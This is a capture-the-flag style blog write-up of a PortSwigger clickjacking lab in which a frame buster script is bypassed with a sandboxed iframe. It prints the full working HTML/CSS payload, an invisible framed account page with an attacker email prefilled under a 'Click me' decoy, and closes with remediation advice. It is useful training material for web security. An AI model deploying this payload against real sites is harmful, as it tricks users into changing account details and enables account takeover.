June 25, 2026
The Script That Never Ran: My Third Clickjacking Lab on PortSwigger
The first two clickjacking labs were about framing and positioning. This third one adds a defense on top, a frame buster script meant to…

By Diya
4 min read
The first two clickjacking labs were about framing and positioning. This third one adds a defense on top, a frame buster script meant to stop the page from being embedded in an iframe at all. Turns out beating it had nothing to do with outsmarting the script itself, the trick was making sure it never got a chance to run in the first place.
Category: Clickjacking
Difficulty: Apprentice
Lab Link: Clickjacking with a frame buster script
Objective
Craft some HTML that frames the account page and fools the user into changing their email address by clicking on "Click me", while getting around the frame buster script protecting the page. The lab is solved when the email address is changed.
Vulnerability Overview
This lab combines the prefilled-form trick from the previous lab with a new obstacle: a frame buster script, client-side JavaScript that detects when the page is loaded inside an iframe and tries to break out of it, usually by redirecting the parent window. The catch is that this kind of defense lives entirely inside the page's own JavaScript, and JavaScript only runs if the browser lets it. By loading the target page inside a sandboxed iframe without granting script permissions, the frame buster never executes, so it never gets the chance to detect anything or break out.
Steps to Reproduce
- The lab provides credentials to log in with:
wiener/peter. After logging in, the My Account page shows the current email and an Update email form, same layout as the previous lab.
- Same starting point as before, the exploit server's Body field defaults to a placeholder,
Hello, world!, ready to be replaced.
- The key difference in this payload is the
sandbox="allow-forms"attribute added to the iframe tag. A sandboxed iframe disables script execution by default, which kills the frame buster before it ever runs, whileallow-formskeeps form submission working so the Update email button still does its job.
<style>
iframe {
position:relative;
width:500px;
height:700px;
opacity:0.1;
z-index:2;
}
div {
position:absolute;
top:480px;
left:80px;
z-index:1;
}
</style>
<div>Test me</div>
<iframe sandbox="allow-forms" src="https://0ace008a044329b18190fcd80084003a.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe><style>
iframe {
position:relative;
width:500px;
height:700px;
opacity:0.1;
z-index:2;
}
div {
position:absolute;
top:480px;
left:80px;
z-index:1;
}
</style>
<div>Test me</div>
<iframe sandbox="allow-forms" src="https://0ace008a044329b18190fcd80084003a.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>
Viewing the exploit confirmed the frame buster never fired, the page rendered normally inside the iframe with the email field already prefilled, and "Test me" lined up over the Update email button well enough to flip the cursor to a pointer on hover.
-
After the text-width lesson from the previous lab, the decoy text was switched to "Click me" while opacity was still at 0.1, and the alignment was checked again before touching the opacity value. The cursor still changed to a pointer in the same spot, confirming the position held up with the actual final text.
-
With alignment confirmed using "Click me", the opacity was dropped to 0.0001 for the final delivery.
Delivering this version to the victim solved the lab.
Technical Evidence
Final payload delivered to the victim:
<style>
iframe {
position:relative;
width:500px;
height:700px;
opacity:0.0001;
z-index:2;
}
div {
position:absolute;
top:480px;
left:80px;
z-index:1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0ace008a044329b18190fcd80084003a.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe><style>
iframe {
position:relative;
width:500px;
height:700px;
opacity:0.0001;
z-index:2;
}
div {
position:absolute;
top:480px;
left:80px;
z-index:1;
}
</style>
<div>Click me</div>
<iframe sandbox="allow-forms" src="https://0ace008a044329b18190fcd80084003a.web-security-academy.net/my-account?email=hacker@attacker-website.com"></iframe>The sandbox="allow-forms" attribute is doing the real work here. Without allow-scripts in the sandbox token list, the browser refuses to execute any JavaScript inside the iframe, including the frame buster, while still permitting the form inside it to be submitted normally. The rest of the payload follows the same pattern as the previous lab, an invisible iframe stacked above a decoy div, with the email field already populated through the URL parameter.
Root Cause
The application's only defense against clickjacking is a client-side JavaScript frame buster, rather than a server-enforced HTTP header. Any protection that depends on script execution can be defeated simply by preventing that script from running, which a sandboxed iframe does by default. On top of that, the same prefilled-email-from-URL behavior from the previous lab is still present, so once the framing defense is bypassed, the rest of the attack plays out identically.
Impact
Because the frame buster can be neutralized without any complex bypass, an attacker can fully reproduce the same email takeover attack as the previous lab, just by adding one HTML attribute. The victim experiences no difference at all, no errors, no broken page, no indication that a defense mechanism even existed.
Remediation
To prevent this type of vulnerability, the application should:
- Replace frame busting scripts with the
X-Frame-Optionsheader, set toDENYorSAMEORIGIN, since this is enforced by the browser itself rather than relying on JavaScript that an attacker can simply prevent from running. - Implement a
Content-Security-Policyheader with aframe-ancestorsdirective as the modern, more flexible equivalent. - Avoid prefilling sensitive fields from URL parameters, particularly fields tied to account security like email addresses.
- Treat client-side JavaScript defenses as a last resort, not a primary control, since anything running in the browser can potentially be disabled, blocked, or sandboxed by the page embedding it.
Conclusion
This lab made the gap between client-side and server-side defenses very obvious. A frame buster sounds clever on paper, but it only works if the attacker lets it run, and there was never any obligation to do that. One sandbox attribute was enough to turn the entire defense off. It's a good reminder that anything happening in JavaScript inside the page being attacked is, by definition, running on territory the attacker controls how to load.